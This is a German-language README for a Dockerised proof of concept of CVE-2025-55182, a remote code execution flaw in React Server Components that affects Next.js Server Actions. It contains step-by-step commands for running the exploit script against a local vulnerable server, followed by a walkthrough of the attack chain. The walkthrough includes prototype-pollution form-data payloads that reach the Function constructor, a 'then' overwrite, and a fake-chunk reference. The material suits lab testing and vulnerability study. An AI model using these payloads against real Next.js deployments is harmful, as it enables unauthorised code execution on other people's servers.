
Dockerisierter Proof-of-Concept für CVE-2025-55182, eine kritische RCE in React Server Components via Prototype Pollution, mit automatisierten Exploit-Skripten und einer verwundbaren Next.js-Testumgebung.
Dieses Repository enthält einen dockerisierten Proof of Concept für CVE-2025-55182, eine kritische Remote-Code-Ausführungsschwachstelle in React Server Components (RSC), die Next.js-Anwendungen betrifft, die Server-Aktionen verwenden.
Der ursprüngliche Proof of Concept und die Schwachstellenanalyse wurden von msanft erstellt. Dieses Repository erweitert dessen Arbeit durch die Bereitstellung einer dockerisierten Testumgebung für einfachere Tests und Demonstrationen.
requests-Bibliothek (pip install requests)Starten Sie den anfälligen Next.js-Server:
docker compose up --build -d
Warten Sie, bis der Server gestartet ist (überprüfen Sie die Logs mit docker compose logs -f nextjs-server)
Führen Sie den Exploit aus:
# Automatisiertes Skript (empfohlen)
./exploit-docker.sh
# Oder manuell
ACTION_ID=$(curl -s http://localhost:3000 | grep -o '[a-f0-9]\{40\}' | head -1)
python3 poc.py http://localhost:3000 "$ACTION_ID" "touch /tmp/rce_test"
Überprüfen Sie, ob der Exploit funktioniert hat:
docker compose exec nextjs-server ls -la /tmp/rce_test
# Datei erstellen
python3 poc.py http://localhost:3000 "$ACTION_ID" "touch /tmp/rce_test"
# In eine Datei schreiben
python3 poc.py http://localhost:3000 "$ACTION_ID" "echo 'RCE_SUCCESS' > /tmp/rce_output"
# Aktuellen Benutzer überprüfen
python3 poc.py http://localhost:3000 "$ACTION_ID" "whoami > /tmp/rce_user"
# Ergebnisse überprüfen
docker compose exec nextjs-server cat /tmp/rce_output
docker compose exec nextjs-server cat /tmp/rce_user
nextjs (UID 1001) innerhalb des Containers ausgeführtDieses Repository enthält ein vollständiges Docker-Setup zum Testen der Schwachstelle:
docker-compose.yml - Docker Compose-Konfigurationtest-server/ - Anfällige Next.js-Anwendungtest-server/Dockerfile - Produktions-Dockerfiletest-server/Dockerfile.dev - Entwicklungs-Dockerfile (optional)Der anfällige Server läuft mit Next.js 16.0.6 und einer einfachen Server-Aktion, die ausgenutzt werden kann.
poc.py - Python-Proof-of-Concept-Skript (Original von msanft, mit Korrekturen für Escape von Anführungszeichen)exploit-docker.sh - Automatisiertes Exploit-Skript für die Docker-UmgebungDOCKER_SETUP.md - Umfassende Docker-Setup-Dokumentation# Container stoppen
docker compose down
# Alles entfernen (einschließlich Volumes)
docker compose down -v
Die detaillierte Schwachstellenanalyse, die Exploitation-Kette und Patch-Informationen aus der ursprünglichen Forschung sind unten aufgeführt.
Diese Schwachstelle ermöglicht RCE in React Server Functions, wie sie z. B. von Next.js durch unsichere Prototyp-Referenzen angeboten werden.
Ich bin kein Experte für React oder Next.js, also nehmen Sie alle hier enthaltenen Informationen mit Vorsicht. Außerdem befinde ich mich noch im Analyseprozess, daher könnte das, was ich unten als „die Schwachstelle" bezeichne, nur ein kleiner Teil der gesamten Kette sein.
React bietet Server-Funktionen[^1], die als eine Art RPC-über-HTTP betrachtet werden können. Sie können zum Abrufen von Daten von benachbarten Peers verwendet werden, um eine niedrige Latenz zu gewährleisten, oder für authentifizierte Anfragen, für die der Client keine Anmeldeinformationen besitzt.
React verwendet etwas namens das React Flight Protocol[^2] zur Serialisierung von Werten, die an Server-Funktionen übergeben werden.
Der Client übergibt „Chunks" an den Server, z. B. über Formulardaten:
files = {
"0": (None, '["$1"]'),
"1": (None, '{"object":"fruit","name":"$2:fruitName"}'),
"2": (None, '{"fruitName":"cherry"}'),
}
Wie gezeigt, können diese Referenzen untereinander haben. Das obige Payload wird auf dem Server wie folgt deserialisiert:
{ object: 'fruit', name: 'cherry' }
Das Format selbst ist etwas komplexer und erlaubt eine komplexere Serialisierung und Deserialisierung, aber dies bietet ein grundlegendes Verständnis für die eigentliche Schwachstelle.
Bis zu diesem Commit[^3] hat React beim Durchlaufen von Chunks in der
Referenzauflösung – z. B. beim Abrufen des fruitName aus Chunk 2 im obigen
Beispiel – nicht überprüft, ob der angeforderte Schlüssel tatsächlich auf dem
Objekt gesetzt war. Dies erlaubte uns, den Objekt-Prototyp[^4] zu erhalten.
Dies kann mit einem Payload wie diesem demonstriert werden:
files = {
"0": (None, '["$1:__proto__:constructor:constructor"]'),
"1": (None, '{"x":1}'),
}
Welches zum Funktionskonstruktor[^5] deserialisiert:
[Function: Function]
Wenn der Chunk mit der ID 0 kein Array, sondern ein Objekt ist, können wir
den then-Schlüssel auf den Funktionskonstruktor setzen. Das Objekt wird dann
von der decodeReplyFromBusboy-Funktion zurückgegeben und von Next.js abgewartet:
// action-handler.ts:888 (pre-patch)
boundActionArguments = await decodeReplyFromBusboy(
busboy,
serverModuleMap,
{ temporaryReferences }
)
Wenn dies ein Thenable zurückgibt, wird es vom await im Aufrufer aufgerufen.
Genau das passiert mit diesem Payload:
files = {
"0": (None, '{"then":"$1:__proto__:constructor:constructor"}'),
"1": (None, '{"x":1}'),
}
Was zu diesem Fehler führt:
SyntaxError: Unexpected token 'function'
at Object.Function [as then] (<anonymous>) {
digest: '1259793845'
}
Der Fehler sieht so aus, weil V8 eine mit await abgewartete Funktion mit
den internen resolve- und reject-Funktionen aufruft, die, wenn sie mit
toString serialisiert werden, etwa so aussehen:
function () { [native code] }
Da wir trivial den Function-Konstruktor abrufen können, ist der
geradlinige Weg, ein Call-Gadget zu finden, das den Konstruktor mit einem
benutzergesteuerten Wert (d. h. dem Code der Funktion als String) aufruft
und später die zurückgegebene Funktion ausführt.
Es gibt mehrere Stellen, die den Funktionskonstruktor aufrufen können,
z. B. resolveServerReference, wo id ein kontrolliertes Objekt ist,
und lastIndexOf überschrieben werden kann, um einen benutzergesteuerten
String zurückzugeben (z. B. über Array.prototype.join) und slice auf
den Funktionskonstruktor gesetzt werden kann. Diese Stelle funktioniert
jedoch nicht, da der zweite Aufruf von .slice() eine Zahl als erstes
Argument liefert, die – soweit ich weiß – nie vom Funktionskonstruktor
verarbeitet werden kann.
Hier kommt eine brillante Idee von maple3142[^7] ins Spiel. Wenn getChunk
den Chunk bei ID 0 als Wurzelreferenz abruft, um die Referenzkette
aufzulösen, kann dieser selbe Chunk zu einem maßgeschneiderten
„Fake-Chunk" aufgelöst werden.
Wir können den maßgeschneiderten Chunk 0 in Chunk 1 mit der $@-Syntax
referenzieren, die den „rohen" Chunk zurückgibt, nicht seinen aufgelösten
Wert:
case "@":
return (
(obj = parseInt(value.slice(2), 16)), getChunk(response, obj)
);
In Kombination mit unserer then-Überschreibung von oben können wir
so etwas erstellen:
files = {
"0": (None, '{"then": "$1:__proto__:then"}'),
"1": (None, '"$@0"'),
}